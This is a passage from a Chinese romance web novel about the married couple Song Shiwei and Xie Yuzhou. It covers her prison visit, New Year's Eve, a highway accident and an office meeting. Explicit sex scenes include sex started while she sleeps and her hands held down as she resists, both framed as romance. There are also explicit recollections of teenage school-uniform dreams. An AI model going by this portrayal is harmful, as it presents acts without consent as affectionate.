宋时微下意识蜷缩手指,抓住真皮沙发,指甲留下了一个个印子。 她由半躺变成躺下,头朝东变成了朝北。 仰起天鹅颈,一头乌黑长发垂了地。 后知后觉知道今天怎么不一样,他学会了举一反三,在冰水里浸泡了一下才给了她。 谢屿舟托住她的后颈,“时时,看这里。” 宋时微睁开眼睛,看到了银丝。 “看到是怎么吃的了吗?” “要不要全部吃掉?” “你吃,我也吃,公平。” 白日光线充足,没有拉上窗帘,纵使南侧空旷无任何建筑物,但所有的细节看得清清楚楚,刺激感加倍。 蛋糕在这一刻派上了用场,尤其是点缀的小樱桃,“一样美味。” 一语双关。 第 45 章 第45章 白色的信纸被眼泪打湿,泪花在纸上晕开,宛若一幅水墨花。 过了午时,地面的影子被拉长,宋时微抹了抹要掉下来的眼泪,微微抬头,入目是一双白色运动鞋。 她没有继续向上看,单凭鞋子判断,不可能是谢屿舟。 在这个地方,不会有明目张胆的坏人。 这个人一直站在她身边,不说话始终未离开,同样没有帮她挡住太阳。 宋时微折叠好信纸,塞进包里,她站起来,看清了来人的面貌后,惊讶问:“叙白哥,你怎么在这里?” 知道她爸爸在这的人并不多,包括谢屿舟都不知道。 陈叙白平淡道:“我来看看宋叔叔。” “谢谢。” 宋时微蹲得久了,腿有点麻,她晃悠了一下,陈叙白扶住她。 胳膊上传来不熟悉的触觉,宋时微下意识躲避,“你是第一次来吗?” 她避嫌的动作太明显,陈叙白尴尬收回手,思考数秒,选择实话实说,“不是。” 车子停在马路边,地上铺了一层的枫叶,踩在上面‘咯吱’作响。 四周无住宅区,远处零星有几家低矮的工业园区,空旷又寂静,轻微的声音就能刺激耳膜。 宋时微搅动手指,袖子里的手捏毛衣的边缘,问道:“他愿意见你?” 陈叙白:“他对我没有亏欠,对你不一样。” 宋时微偏头看他,“你为什么要来看……他?”她不知道用什么称呼宋振华。 陈叙白:“都是邻居,而且宋叔叔以前对我挺好。” “宋叔他还过得还可以,你不用担心。” 他的语气平常如白开水,像在叙述普通的事情,没有安慰没有起伏的一段话。 宋时微不知道回他什么,她对宋振华有感情,但更多的是恨,过得好不好与她有什么关系呢。 陈叙白关切问:“你还好吗?” 宋时微仰起头抹掉眼尾最后一滴湿润,“我没事,先回去了。” 说话间,两个人走到路边停着的车子旁,这里人烟稀少,自不会再有人停在这里。 陈叙白着急留住她,又拉住宋时微的手臂,“微微,你对我是不是有误会,我们找个地方坐下吃饭谈谈。” 今天吹北风,宋时微的头发被风扬起,她伸出手掖到耳后,“没什么误会,我结婚了,我们不适合单独一起吃饭,叙白哥,我还要赶着回去,今天跨年夜,你也早点回去吧。” 一席话客气又疏离,包括过去的七年,偶然发现她在临港,想帮助她,每每被她拒绝。 明明他们先认识,凭什么谢屿舟一个后来者得到了她。 陈叙白追问:“因为怕他误会吗?我们难道不是朋友吗?” 宋时微脚步顿住,转过身靠在车窗外,“你想聊我们在这聊聊吧。” 冬天的太阳看似灿烂辉煌,实际洒在身上充满寒意,尤其这里是郊区,配合凛冽的北风,冷嗖嗖。 宋时微裹紧了外套,看着陈叙白,不知道他要聊什么。! 陈叙白缓缓开口,“微微,难道你要因为他,连朋友都不要了吗?” 其实,宋时微能理解他的感受,换位思考,她做不到他这样耿耿于怀,“叙白哥,如果你谈了恋爱,你女朋友觉得我们太熟而心里不舒服,我会自觉远离,我认为这是成年人之间该有的分寸感。” 她思忖数秒,“谢屿舟和你之间有什么过节我不知道,但他不会无缘无故这样对待一个人。” 删了陈叙白后,她细细想过,无论是顾裴司还是蒋俊明,或者是曾嘉佑,都没有让谢屿舟如此破防。 这其中一定有她不知道的隐情。 陈叙白上前逼问:“你就这么相信他?明明我们认识得更久。” 宋时微摇摇头,“不一样,我了解他的为人,更重要的是我和他是夫妻,是共度下半辈子的人,叙白哥,我知道,你从小重情义,失去一个朋友会有点难过,但朋友嘛,一阵一阵的。” 最后一句话直白且无情,却是实实在在的道理。 “叙白哥,祝你幸福。” 说完这句话,宋时微拉开车门坐进车里,冻红的手放在空调出风口取暖。 她的手脚容易冰凉,不能让好了的冻疮复发。 身体回温意识便会清醒,宋时微没有着急点火,掏出信纸,再看一眼。 寥寥几行字,情真意切写出他的后悔,可是有什么用呢。 宋时微的手指放在信纸上,狠心撕掉脆弱的纸张。 然而,在听到轻微一声‘嘶拉’的声响后,最终揉成一团,重新丢进了包里。 她启动汽车,调转车头驶入开往家的主干道上。 后视镜里,建筑物越来越远。 高墙变得渺小,直至消失在视野里,彻底不见。 她不会再来这个地方了。 有的时候,人还是狠心一点好。 这么多年过去,还是学不会这个道理。 一路上,两边挂满了红色的灯笼,阳历年一样带着浓浓的节日氛围。 宋时微的心情比来得时候轻松,失去陈叙白这个朋友是有点遗憾,但过个三年五载,各人过各人的去了。 说起来她像冷血动物,骨子里是亲缘朋友缘浅的人。 越往市区开周围的环境越繁华,路过一个商场时,广场前聚集了许多出来玩的人。 往常这个时候她在干嘛,先在演唱会门口编辫子,再去步行街卖气球。 今年清闲自在,倒有些不习惯了。 宋时微开车到家,地库里不见谢屿舟经常用的车,他还没有回来。 皱巴巴的信纸被带回臻悦府,宋时微塞到书房不起眼的小盒子里,时刻提醒她,不要心软。 何尝不是因果报应。 等谢屿舟等得无聊,宋时微拿起化妆刷往脸上涂涂抹抹。 完成一个精致的裸妆,在口红面前犯了难。 最终,她决定装嫩一回,涂了一个水润的樱桃色调口红,俗称嘟嘟唇。 只是普通的低马尾搭不了这个妆容,迅速编了两条可爱的麻花辫! 。 甚是满意。 在宋时微欣赏她的美貌时,谢屿舟抬起长腿走了进来,慢条斯理解开墨蓝色领带,扔进脏衣篮里。 男人弯腰,下巴架在她的肩膀上,从镜子里观察,“今天打扮这么漂亮。” 宋时微反问他,“我平时不漂亮吗?” “漂亮,只不过今天你的嘴巴很红很亮,像刚洗好的樱桃,想咬一口。” 果然,男生对女生化妆的定义是涂了口红。 谢屿舟扣住她的脖颈,吻上她的嘴唇,切实咬了一口。 没什么味道,口红晕开,现在不止想咬,更想欺负一番。 他这么想,当即行动。 宋时微预判到他的想法,弯腰躲过去,警告他,“你不配我的化妆品,今天老实点。” 她不想化第二遍妆,而且,有了开始,结束做/爱恐怕要等到明天。 宋时微补口红,在唇上点几下。 谢屿舟看着老婆打扮自己,很是稀奇,“我想知道这口红有毒吗?毕竟我刚吃了。” 宋时微眼波流转,“有毒,采用剧毒的鹤顶红和砒霜制作而成,马上就毒死你,继承你的财产。” “你提醒我了,立个遗嘱。”谢屿舟揽住宋时微的腰,咬上脖子,“不能让你用我的钱包养别的男人。” 宋时微拍拍他的嘴巴,“呸呸呸,说什么呢,不吉利。” 谢屿舟捕捉到她紧张的情绪,眉峰扬起,“还挺迷信。” “好的不灵坏的灵好吧。” 宋时微踮起脚看他,“你快改个口,说你会长命百岁。” 谢屿舟:“不是好的不灵嘛。” 宋时微:“心诚则灵,这叫吸引力法则,快点快点。” 谢屿舟垂眸,对上宋时微的眼睛,郑重其事道:“我会和宋时微一起长命百岁。” 宋时微心跳加速,耳朵不争气红了,“干嘛带上我?” 谢屿舟嘴硬道:“因为你欠的账需要用一辈子来还。” 记仇!腹黑! 宋时微嘟嘴驳斥他,“不就睡了一次吗?谢总至于耿耿于怀斤斤计较吗?” 谢屿舟幽幽道:“我的第一次。” 宋时微撇嘴,“你的第一次不是应该给了手吗?” 谢屿舟恍然,“那也想着你,所以还是你。” 他凑到宋时微耳边,不害臊说:“第一次春/梦的女主角也是你。” 男人的荷尔蒙尽数洒在她的耳朵上,熨烫得耳朵更红,宋时微:“谢屿舟!你耍流氓,那时你才多大。” “不到17岁。” 未成年青春期,做春/梦正常。 宋时微像大人似的和他科普,“你是青春期躁动,随便意淫.女生。” 谢屿舟偏要挑逗她,“不随便,每次都是你,在梦里你和我做了很多回,有一次在我家,你坐在书桌上,流出来的水打湿了试卷,还有一次,在空无一人的教……” “闭嘴。”宋时微两颊发烫,被腮红遮挡,催促他,“你,换件衣服出门。” ! 曾经纯情的谢屿舟去哪里了,那个拉拉手脸就红透的谢屿舟消失在岁月里了吗? 现在说起流氓的话,完全不会害羞。 谢屿舟步步逼近,漆黑瞳仁如魅影投射,“那时的你穿着校服,扎着马尾。” 一定是受了p.o影响,宋时微想到她看过的小说,小说里经常写男女主穿着校服做最禁忌的事。 任谁都想不到表面清心寡欲的学霸男主,在私下里却是一个做.爱狂魔。 她的整张脸红透,像扑了一整盒的腮红,狠狠瞪着他,“谢屿舟,你给我闭嘴闭嘴。” 颇有点气急败坏的样子。 谢屿舟变本加厉,困住宋时微,逼迫她看着他的眼睛,“还有国外的春/梦,我抓到了你,把你关进别墅,做的水都干了 := ,你的嗓子都哑了。” 宋时微没法捂住耳朵,不甘于被人拿捏,“那你应该精尽人亡才对,只有累死的牛,没有耕坏的地。” “可惜,没有。” 谢屿舟偏要说完,“我还梦到我们在悬崖边在山顶和海边的帐篷里做,在私人飞机、游艇上都做过。” 宋时微眼眸变暗犀利,“谢总,你知道这么多地方,你是不是和别人都做过啊?” 谢屿舟勾起唇角,“放心,全都留给你的,让你一个一个体会。” 宋时微推他,“快换衣服,没空陪你扯有的没的。” 谢屿舟敛了神色,“这身不是挺好吗?” 宋时微:“谢总,晚上不是出去开会,谁会穿一身黑跨年啊。” 谢屿舟:“你来挑。” “好,我来看看穿哪个。” 别人是玩奇迹暖暖的游戏,她来打造奇迹老公。 宋时微的眼睛向下瞟,指了指裤子的方向,“谢总,你要不要先管管你的‘弟弟’,有伤风化,碍眼。” 谢屿舟云淡风轻说:“他只听你的‘妹妹’的话。” 宋时微:…… 禁欲七年让他变态,变大态,之前哪里会有来有往。 宋时微不管他,她怕一会出不去了,拉开衣柜门,左右扫视一圈,全是黑白灰蓝。 “嗯?都不好,你的衣服都一个风格。”她提议,“要不你去扮演甜花吧,绝对可以成为焦点。” 谢屿舟点头同意,“也可以,我们去办公室拿人偶服。” 宋时微在夹缝里找到一件米白色的毛衣和棕色大羊绒大衣,“这套吧,相对来说,显得你平易近人一点。” 谢屿舟:“行。” 第 46 章 第46章 冬季,草丛里连虫叫声都听不到,宋时微摸摸发烫的耳朵,在浓浓黑夜中,和谢屿舟对视。 天地万物寂静无声,男人的眼睛似黑曜石般透亮。 宋时微的手指捏紧安全带,指尖发白,“不是,三天三夜,你也不怕自己虚。” 她私下里说话其实一直肆无忌惮,以前逗谢屿舟想看他耳朵红,觉得很可爱。 谢屿舟的拇指放在宋时微的耳垂上,粗粝指腹揉捏耳垂,薄薄的一小片,上面有一个小洞。 “试试才知道。” 话音刚落,男人越过中控台,薄唇直接压到了宋时微的唇上,含在嘴里又咬又亲。 两个人脱下大衣,扔到一旁。 宋时微睡了一段时间,现在意识十分清醒,她挣扎着,要推开他。 实在是不知现在处在什么位置,会不会有其他人上来,会不会被人看见。 “乖一点,声音太大会被听见。” 谢屿舟攥紧她的手,塞到座位下方,强势禁锢住她的行动。 宋时微精神紧绷,她自认她的手不算小,他总是能一只手钳住她的两只手,另只手还能肆无忌惮挑弄她的耳朵。 大学时引以为傲的力气,在他外面像以卵击石、蚂蚁撼树,每每这个时候毫无还手之力。 察觉到宋时微的分神和紧张的心情,谢屿舟探出舌尖,强势咬住她的嘴唇。 最近南城的天气无风无雨,夜晚的风似乎停止了流动。 周围变得寂静,只有亲吻嘴巴的声音尽数往她耳朵里钻。 男人的手扣住她的后颈,掌心温热。 车内的顶灯光线偏暗,却能清晰看到两人嘴唇分开时的状态。 “你能不能不要这样?被人听见怎么办?” “人是听不见了,不需要冬眠的虫子可以。” 宋时微意识到被他耍了,秀眉蹙起,狠狠瞪着他。 “想打的话直接打。”谢屿舟举起她的手,打了一下自己的脸。 力道不大但也不算轻。 宋时微不想搭理他,有病还病的不轻。 谢屿舟抵住她的额头,眼睛晦暗,嗓音喑哑,“打也打了,接下来该配合我了。” 宋时微:??? 黑灯瞎火,她逃也逃不出他的手掌心。 后排座位宽敞,男人自是准备充足,毛毯、矿泉水,甚至还有巧克力补充体力。 冬天的衣服穿得厚,为了美丽,宋时微只穿了一条厚的打底裤,脱起来易如反掌。 空调风口的暖风呼呼吹来,终究抗衡不了车外零下的温度。 宋时微哼哼唧唧,“冷。” 她仰头看到了男人眼里的深邃眼神。 车厢里的温度仿佛处在盛夏里,与冬季完全不同,宋时微不自觉说了一句,“热。” 谢屿舟从喉咙里溢出低沉的笑,“一会冷一会热,到底是哪一个?” 再宽敞的后排座位,两个成年人坐进去,车厢变得逼仄、狭窄。 空调暖风作业,! 哪里的温度都是高的,连真皮座椅都被传染了高温。 谢屿舟重新吻上她的唇。 宋时微发现了他的癖好,不喜欢全部脱掉衣服,有扣子的解开几颗扣子,没扣子的就是扒开,让衣服挂在她的身上。 就像现在,开衫毛衣的扣子解开几颗,露出了黑色的蕾丝。 谢屿舟的眼神来回扫视,“成套的,想勾我?” 成套的黑色内衣,与白皙皮肤形成最美的反差感。 宋时微仰起头,天鹅颈弯成美丽的弧度,她肯定不会承认,“不是,一套好看。” 下半夜,城市的烟花停歇。 白际天空,是骤然间的空白。 谢屿舟抓住宋时微的手,扣在玻璃上,男人将她逼到车门处。 被垫上了柔软的垫子,和她一同承受。 第一次在空旷的地方,第一次在室外,宋时微十分紧张。 她咬住嘴唇,尽量不发出来声音。 今年的冬天温度怎么这么高啊,她好热,热到想泡进冰水里。 谢屿舟更热,男人额头沁出的汗珠滴在她的颈窝,与她的汗珠一起盛在锁骨的窝里。 男人漆黑的碎发垂下,喉咙里溢出低沉的呼吸喘气声。 须臾过后,宋时微被谢屿舟捞起,坐了起来,头顶不小心碰到了车顶。 天窗的挡板被打开,昂头可以看到漫天的星星,打开的一条小缝,除了换气,可以听到窗外零星的声音。 窸窸窣窣的声音在寂静的夜里被无限放大,多种声响交织,构成一曲最美妙的交响乐。 冬天,是南城传统的旱季,然而今天似乎不太一样。 绵延的冬雨,河水泛滥成灾,冲垮了河堤,水流到了宽阔的平原上。 宋时微被翻了个面,她跪坐着,透过玻璃看到了山麓的灯火,蔓延至道路尽头。 车窗上印出两个掌心印,掌心顺着玻璃滑落,很快消失不见。 车内外温差极大,一冷一热,宋时微吐出的呼吸在玻璃上留下朦胧的雾气。 谢屿舟扣住她的手,一边亲吻她的脖颈,一边在玻璃上写下她和他的名字。 宋时微&谢屿舟。 除此之外,再无其他文字,更没有爱心符号。 男人的唇在她的脸颊和脖颈上作画,她俨然成了天然的画纸。 “到了吗?”磁性的嗓音像电波,酥酥麻麻。 宋时微咬紧唇瓣,“不……不知道。” “这样才是。”谢屿舟又向前一分。 男人握住她的肩膀,不让她乱动,“不要跑。” 宋时微跑无可跑,车厢空间有限。 从车外看,底盘高稳重的车子竟然也会微微晃动。 终于,终于,时针转了两个圈之后,宋时微躺在座位上大口大口喘气,张开的嘴唇给了谢屿舟完美的理由,“又勾我。” 女人的眼睛湿润,蒙上一层朦朦胧胧的水雾,我见犹怜。 她再次被他按在座位上用力亲。 好冤好冤啊。 ! 斗转星移,北斗七星挂在黑色天际,又是新的一年。 冬天到了春天还会远吗? 春天可以下河摸河蚌,轻轻一撬,露出里面雪白鲜美的蚌肉,外翻的裙边,里面会挤出圆亮的珍珠。 河蚌也会微开口子,趁着摸它的人不注意,夹住人的手。 亲了嘴巴半晌,谢屿舟咬住宋时微的耳唇,“今天请假去哪了?” 男人的语气辨不出情绪,但他在压抑心里真实的想法,宋时微自然能感受出来。 毕竟他刚刚没有忍。 而且她请假,怎么能瞒得住谢屿舟,车子是他买的,行车记录仪会告诉他答案。 宋时微实话实说:“去看我爸了。” 谢屿舟搂紧他,“哪天一起去。” “好。”宋时微嗓子哑透了,又疼又干。 接下来他没有说话,趴在她的颈窝处,狠厉的气息躲无可躲,洒在肩颈。 谢屿舟用毛毯裹紧宋时微,抱着她走进别墅内,提前打开了暖气,每走一步亮起一处的灯光。 衣帽间内放置了干净的睡衣,床铺整理好,一切都是蓄谋已久。 宋时微身上的衣服被汗水浸透,贴在皮肤上,而她累得胳膊都抬不起来,任由谢屿舟帮她。 “怎么还在流水?” “还不都是你的杰作。”宋时微累归累,骂他的气势没有输。 谢屿舟提起裤腿,单膝跪地。 宋时微来不及阻止,他的速度太快,“谢屿舟,很脏。” 谢屿舟舔了几口嘴巴,“不脏,宝宝。” 衣服没换掉,回到房间里又重新开始,太可怕了。 谢屿舟喝完了,在宋时微身边躺下,亲她的唇,“踩我,时时。” “啊?” 宋时微:“谢屿舟,我觉得你真的有病。”她的嗔怒毫无气势。 哪有人求着别人打他、踩他的。 但,这是一个报仇的机会。 宋时微扶住墙壁踩了上去,他在享受,平时他看她就是这样的表情吗? 她改变一个地方,他的表情会有变化。 不过,这种掌控他的感觉令人上瘾,不止她,他也有敏/感的地方。 玩,会让人着迷。 “不踩了。”今天的体力消耗过大。 “我要洗澡睡觉了。” 宋时微闭上眼睛立刻睡着,果然做/爱是提高睡眠质量的绝佳方法。 漆黑的室内,只有一处亮光,谢屿舟正在查看行车记录仪。 宋时微没有说谎,目的地是那里,只是多了一个不速之客——陈叙白。 不知是提前约好还是偶然碰见,不论是哪个原因,都挺吓人。 宋时微倒没有隐瞒,只是他知道,那声答应的‘好’一定没有下文。 不过,没人会袒露脆弱给别人。 前一晚上真的是跨年,宋时微早上醒了几十秒,又重新睡了过去。 当她再次清醒时,明白异样来自哪里。 她以为是春/梦,所以没! 有在意,过去的七年经常会发生这样的事情。 宋时微嗔身后的男人,“谢屿舟,我还在睡觉。” 你说他是m吧,他有时是s,比如现在,她睡着了,他不打招呼就开始。 谢屿舟义正辞严道:“我没影响你睡觉。” 他做了好一会儿,她在梦里哼哼唧唧,勾的他心痒痒,醒来就不认账。 “谢屿舟,我觉得你要悠着点,做多就够了。” “时时,说点我喜欢听的话。”谢屿舟寻找她的唇,堵住这张恼人的嘴。 她根本说不出来话,不容小觑男人,尤其是他的手里拿着冰块。 热与冰,盛夏高温与数九寒天同时存在。 不得不佩服学霸的能力,一心二用,完全不耽误。 宋时微得以喘息,“没地方睡了。” 谢屿舟 :“有,隔壁房间是备用。” 怎么?是要夸他准备充足吗?提前预备好突发情况吗? “我抱你去吃点东西。”宋时微被谢屿舟抱到餐厅,放在柔软的椅垫上。 餐桌上摆满了可口的饭菜,却不见其他人。 “你做的?” 第 47 章 第47章 事故发生得突然,宋时微懵住一分钟,她压根不知道发生了什么。 意识逐渐清醒,她按按脑袋,向四周看看,看到了绿色的护栏。 这是旁边的人想超车,她被撞到了最右侧的应急车道。 宋时微活动下四肢,还能自由活动,仅有的常识告诉她,现在需要赶紧下车,远离事故车辆。 透过后视镜,看到后排没有车子,打开双闪,她抓起副驾驶的包迅速离开车子。 宋时微站在路边,拨通了报警电话和保险电话,冷静且言简意赅地汇报了情况,对着两辆车子拍照。 她没有带伞,冰冷的风和雨吹在她的身上,地面结了一层薄冰,前方是一片红色的灯海。 做完了这一切,她站到了应急车道边上,裹紧大衣,两手冻得通红,搓着手等待交警的到来。 在此之前,先来到的是后面撞了她的车主,两个约摸30岁的男人。 看着人模人样,一开口就是,“小姑娘家家,开车这么不注意。” 宋时微:…… 她语气强硬,“是你们撞上来的。” 男的又说:“是你避让不及,开得那么慢,这是高速。” 宋时微冻得牙齿发颤,保持和平沟通,“现在正在下冻雨,肯定要减速,而且前面有事故,我已经报了警,等交警过来。” 她不想和他们纠缠,没有意义,浪费自己的精力和口舌。 见她不和他们说话了,两个大男人依旧喋喋不休,“女人开车一点都不稳妥。” “女司机就是不行。” “女的开车反应速度太慢。” “车速也慢,当这是驾校场呢。” 两个人一言一语,像是在说双簧,话语已经从针对她,到针对全体女司机了,基本操作,在网上也一样。 她不想和他们多费口舌争辩,有行车记录仪,谁的责任谁认。 这一路段的事故太多,交警迟迟没有赶来,宋时微摩挲手机,纠结踟蹰犹豫半晌后,拨通了置顶人的电话。 尝试依赖谢屿舟,可以依赖他。 嘟声后立刻被接听,宋时微:“谢屿舟,我要和你说一件事。” “怎么了?” 谢屿舟心里没来由地紧张,碰到了桌面的水杯,水洒在本子上,顺着桌腿流下。 “我现在在高速路上,发生了事故,有个人撞了我,我要晚一会才能回去。” 宋时微看了一眼面目全非的汽车,“我没什么事,车子受伤比较严重。” 她的声音很稳定,没有颤抖。 此刻,她庆幸撞击部位偏移了一点,没有直接撞到驾驶位,否则后果更不堪设想。 男人沉稳的声线里隐藏不住地紧张,“地址发给我。” 宋时微发过去地址,“发你了,你喊个司机来就好,明天还要出差。” “等我。”谢屿舟丢下一句话,捞起车钥匙出门。 他差点撞到玄关 柜上。 冻雨冰粒和雪,导致事! 故一起接着一起发生,一刻钟后,交警终于赶到。 对方拒不承认是自己的问题,一口咬定是宋时微开得太慢,路面打滑导致的事故。 “就是她开得太慢。” “我要超车,都过了白线,她不避让还突然加速,就这样撞上了。” 两个人的说辞自相矛盾,无法自圆其说。 交警不可能只听信他们的片面之言,一人去查看监控和行车记录仪,一人询问当事人事情发生的经过。 “我正常沿着中间道路行驶,下了冻雨,我降低车速,突然感觉左边有人撞过来,气囊弹开。” 宋时微简短说明事情发生的经过,调出行车记录仪的画面,这时,屏幕上显示谢屿舟又打来电话。 交警已经查看完画面,了解了情况,归还手机。 宋时微按下接通键,“谢屿舟。” 男人着急的声音从听筒对面传来,“你手机的电量还有多少?” 宋时微拿下手机,看了眼屏幕右上角,“充满了。” 谢屿舟:“我大概一个小时到。” 男人启动汽车,“别害怕,我来了。” “好,我等你。”他做下的决定,无法被质疑。 挂断电话,交警询问宋时微,“你有没有受伤?” “我不确定,胳膊和腿有点疼。”宋时微撸起袖子和裤腿,有几处淤青的地方,看不出内伤。 交警叮嘱:“尽快去医院检查一下,你们跟着一起,120过来也需要时间,你尽量别走动,等医生过来,车子挪到避险车道。” 两个大男人咋咋呼呼,“不能我们全责,她开得慢一动不动也不让路就没问题吗?” 交警严厉批评,“你们违法了《道路交通安全法》,变道超车没有观察后车的情况,人家小姑娘是正常的速度,前方在堵车,提前减慢速度没问题,反而是你们是强行加塞,全责。” 行车记录仪和监控的画面拍得清清楚楚,在绝对的事实面前,对方的狡辩成了笑话。 简易的事故认定书交到了宋时微手里,剩下的需要到交警大队处理。 现在的难题是,她怎么回去? 屋漏偏逢连夜雨,冻雨冰粒和雪簌簌落下,叠满天气buff,高速车辆缓慢行驶,前后都是红色灯海。 应急车道时不时被占用,今晚真的要露宿街头。 宋时微回到车里,找到一条毛毯,披在身上暂时起到御寒的作用。 然而,效果有限。 她的脚和手仿佛不是她的肢体,冻得失去知觉,头发上结了一层薄冰,打起十二分的精神。 交警处理下一桩车祸,两个男的过来威胁宋时微,“小姑娘,你看我们也不是故意的,能私了吗?” 宋时微拒绝,“不能。”多一个字都不愿意和他们说。 两个法盲,都录入系统了,怎么可能私了。 随着夜晚的降临,天空中的雪越来越大,冰粒和冻雨相对应减少,不知道算不算好消息。 宋时微多少年没体会过牙齿打颤的感觉,有那么! 一瞬间,她以为自己要死了。 她还有好多话没告诉谢屿舟,她还没和他相伴一生,她们才结婚半年。 她们分开了七年,短短半年远远不够弥补失去的时光。 宋时微哆嗦地打开手机,雪花落在屏幕,融化成水,指纹和人脸识别不好用,她费了半天劲,终于解开。 【谢屿舟,我……】她的手被冻僵,打字速度十分慢,删删减减没有发出去消息。 谢屿舟看着聊天框上方的‘正在输入’,久等不到下文,发了一条语音,“我在路上,马上到。” 宋时微:【好,谢屿舟。】她喜欢喊他的名字,曾经无法光明正大喊出口的称呼。 她蹲在路边等,朝向东边的方向巴巴望着,时不时抬起两只脚,活动身体,不让身体的温度急速下降。 车子基本不动,定在原地,应急车道成了玩雪的地方,不时有人下来透气。 逆着光的方向,一道颀长熟悉的挺拔身影离她越来越近,宋时微敲敲脑袋,这么快吗?她是不是出现了失温的幻觉? 男人向她跑过来,宋时微没有再犹豫,站起来跑向他。 同时,唤他的名字,“谢屿舟。” 谢屿舟一把接住宋时微,小心翼翼搂在怀里,生怕碰到了隐形的伤口,“我来了。” “你终于来了。” 宋时微往他怀里钻,“我好冷好饿。” 抱了一会儿,她挣扎离开,“我衣服都湿了。” “没事。” 谢屿舟手抖动打开手里的袋子,他带了一件羽绒服和一个保温杯。 当即包裹住她,遮挡住主干道的灯光,脱下她的外套,换上干净温暖的衣服。 男人敞开他的大衣,重新抱住她,渡给她温暖。 “交警怎么说?”他拧开保温杯,给她喝保暖的茶。 宋时微的睫毛上沾满雪花,抖动扑闪,“交警说对方全责,出具了认定书,剩下交给保险公司跟进,车子在等拖车公司,今天天气不好,可能要等一会。” 言简意赅、条理清晰,像是在公司给他汇报工作。 然而,却少了一样。 谢屿舟的黑眸打量她,“你呢?哪里受伤了?” 宋时微摇摇头,“我,我还好,没什么大碍。” 两个人抱着相互取暖几分钟,风越来越大,怕是医生没来人要被冻坏了。 谢屿舟的手臂穿过宋时微的膝盖,打横抱起她,“先去车上。” “我自己可以走。”她把脸埋在谢屿舟的胸膛,主干道旁有人,这样有点奇怪。 谢屿舟宠溺道:“逞什么强。” 宋时微的手臂搂紧他的脖子,咕哝说:“我怕你抱不稳,把我摔倒了,我伤上加伤。” 谢屿舟语气坚定:“倒了我也会垫在你的下面。” 高速公路光线昏暗,即使开了车灯与市区的霓虹路灯无法相比。 宋时微微仰起头,抬眸细看谢屿舟。 男人的五官轮廓优越端正,下颌线分明,凸起的喉结性感,嘴唇不薄也不! 厚,她伸出手去摸,好凉。 怎么亲她的时候很烫很热。 灯光反射,宋时微看到了顺着谢屿舟脸颊留下的汗,她确定是汗,烫到了她的指尖。 这一路车子过不来,是跑过来的,怪不得她抱他的时候感觉他的身体好热。 考虑到她可能受伤,谢屿舟抱她很平稳,没有颠簸之感。 宋时微不忍心,“你放我下来,我想和你一起走。” 谢屿舟拒绝了她,“还不确定你哪里受伤,不可以。” 宋时微振振有词,“我们是夫妻,不能只是你一个人付出。” 她要和他一起劈开风雪,携手相伴同行。 “他们在往前开,我们在这等。”谢屿舟的手臂放在她的腰间,敞开大衣将她裹进去。 宋时微侧头问:“这么长一截路你跑过来的?” 谢屿舟不答反问:“暖和了吗?” 等到他上了高速发现,由于恶劣糟糕的天气,前方道路拥堵,车流像蜗牛一般挪动。 他一刻都等不了,从应急车道一路跑过来,跑了足足三公里,额头上沁出了密密麻麻的细汗。 宋时微的手臂环住他,“暖和了,很暖和。”他的避而不答反而给了她准确的答案。 这时,车子终于挪到了她们的面前,谢屿舟坐进车里,说的第一句话是,“赵季同,你检查一下。” 他介绍 ,“刚回国的发小,是一名医生。” 宋时微注意到副驾驶坐了一个男人,她惊讶得合不拢嘴,他还带了医生,他竟然带了医生。 赵季同:“烦请宋小姐解开外套的拉链。” 宋时微对谢屿舟说:“你夸张了吧。” 谢屿舟解释,“不夸张,出事故最怕你这样活蹦乱跳的人,往往受伤最严重。” 宋时微乖乖听从他的安排,让医生认真检查,除了手臂和左腿,她没感觉有什么问题。 赵季同检查一番,汇报,“我听呼吸没什么大碍,手臂和小腿的淤青你来消毒,等回到南城,再去拍一组ct,做一个全面的体检,才能安心。” 宋时微:“麻烦赵医生大晚上来一趟。” 赵季同:“分内之事。”他收了谢屿舟很大一个红包,抵得上半个月工资,还坑了他一个月的晚餐。 划算。 谢屿舟扯出毛巾,给宋时微擦头发,有朋友在,她不自在,夺过毛巾,“我自己来。” 宋时微能想到自己的样子,头发被雨雪打湿,黏在额头,现在的样子估计和鬼区别不大。 人在最狼狈的时候见老公的朋友,会让朋友怀疑谢屿舟审美的程度。 第 48 章 第48章 宋时微捂住谢屿舟的眼睛,不让他看她的手机,“谢总,员工隐私,你不能看。” 她催促他,“你去开会,大家还在等你。” 换位思考将心比心,如果是她要开会,她一定希望会议早点结束,不希望因为自己,耽误大家开会的时间。 宋时微没有穿鞋,谢屿舟抱着她,送回卧室,“马上结束,等我几分钟。” 男人的动作一气呵成,公主抱熟能生巧,单手公主抱更是水到渠成,毫无负担。 “不急,我自己过去,有地暖。”况且书房到卧室只有几步路,属于小题大做。 然而,在这个方面,谢屿舟不会听她的话。 宋时微坐在床边,摸摸自己发烫的脸颊,不知道是地暖温度高,还是刚刚不小心闯进他会议的后遗症。 事后想想,懊恼自己为什么不理智,怎么能直接闯进去,让他知道她对他的在意,一点都不符合她的性格。 床头的手机屏幕亮起,她点开匿名群,漫天的消息不断刷新。 许是快进入农历新年的缘故,他们在热火朝天地讨论,瞬间999+层楼。 【你们就没人录音吗?】 【全是高管,各个都是人精,是嫌工龄长吗?】 【谢总怎么没去出差?】 【听说,在家照顾受伤的太太。】 【谢总简直是男人的楷模,可以做主自己的婚姻,喜欢就娶,不像很多男的,门不当户不对就放弃。】 人们只乐于吃熟人的瓜,和过年村头的景象如出一辙。 宋时微盯着‘门不当户不对’六个字发呆。 他们说的是实情,自古以来便是如此,嫁娶双方讲究门当户对,只是,很多时候会被人狭隘的理解为经济层面。 比起经济财富的相配,更重要的是三观的契合。 三观与爱好不同,你喜欢篮球我喜欢看剧这不叫三观不合。 我在力所能及范围内买了个四位数的手办,你说这不就是塑料玩具吗,小孩子玩的东西,这才是三观不合。 可能是听得多了,可能是年纪增长,可能是谢屿舟婚后给她的安全感,宋时微放下之前的敏感,对‘门不当户不对’的事情一笑置之、不以为意。 在世俗的层面,她的家世和工作是配不上谢屿舟,他选择了她,她自然不会退缩。 书房中,谢屿舟打开电脑的麦克风,沉稳说了一句,“会议继续。” “好的,谢总。” 轮到临溪分公司的总经理汇报,“谢总,这是我们上一年度的账收、开票以及现金流入情况,从各项数据来看……” 临近年尾,需要盘点各级子公司的账目情况,以进行下一年的计划布置。 分公司众多,涵盖了许多支线部门,会议一开就是半天,谢屿舟无暇顾及手机里余子昂的消息。 会议一直持续到中午,方结束第一轮的汇报,谢屿舟接收到海量数据,迅速在脑海里做出判断。 男人修长的手指轻点桌面,眼眸凌厉,“过去一年90! 